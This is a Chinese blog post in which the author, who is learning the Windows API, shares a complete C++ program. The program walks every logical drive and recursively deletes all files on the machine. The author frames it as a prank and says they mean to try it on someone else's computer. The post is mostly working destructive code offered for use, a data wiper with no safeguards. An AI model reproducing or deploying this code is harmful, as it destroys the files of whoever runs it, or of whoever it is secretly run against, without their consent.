最近一直在学windows API,弄了一些好玩的东西(有点恶作剧了)...
下面是我现学现卖写的一个删除硬盘上所有文件的小程序 ....
#include <windows.h>
#include <stdio.h>
#include <bitset>
using namespace std;
void DelFile(char *cFilePath)
{
WIN32_FIND_DATA data;
HANDLE hFind;
char cFullPath[100];
char cNewPath[100];
sprintf_s(cFullPath,"%s\\*.*",cFilePath);
hFind=FindFirstFile(cFullPath,&data);
do
{
if((!strcmp(".",data.cFileName)) || (!strcmp("..",data.cFileName)))
{
continue;
}
if(data.dwFileAttributes==FILE_ATTRIBUTE_DIRECTORY)
{
sprintf_s(cNewPath,"%s\\%s",cFilePath,data.cFileName);
DelFile(cNewPath);//递归
}
// MessageBox(NULL,data.cFileName,"Look",0);
sprintf_s(cFullPath,"%s\\%s",cFilePath,data.cFileName);
DeleteFile(cFullPath);
}while(FindNextFile(hFind,&data));
}
int WINAPI WinMain(
HINSTANCE hInstance, // handle to current instance
HINSTANCE hPrevInstance, // handle to previous instance
LPSTR lpCmdLine, // command line
int nCmdShow // show state
)
{
DWORD dwDrive=GetLogicalDrives();
bitset<32> bit(dwDrive);
char Path[3]={'a',':','\0'};
for(int ix=0;ix!=32;ix++)
{
if(bit.test(ix))
{
Path[0]='A'+ix;
DelFile(Path);
}
}
return 0;
}
最后用了GetLogicalDrives这个API函数来判断本机有多少个分区,然后用sprintf格式化一下作为DelFile的参数.
等有机会拿到别人电脑上试试吧....
本文分享了一个使用 Windows API 编写的 C++ 小程序,该程序可以批量删除指定硬盘上的所有文件,展示了一种利用编程进行恶作剧的方法。
906

被折叠的 条评论
为什么被折叠?



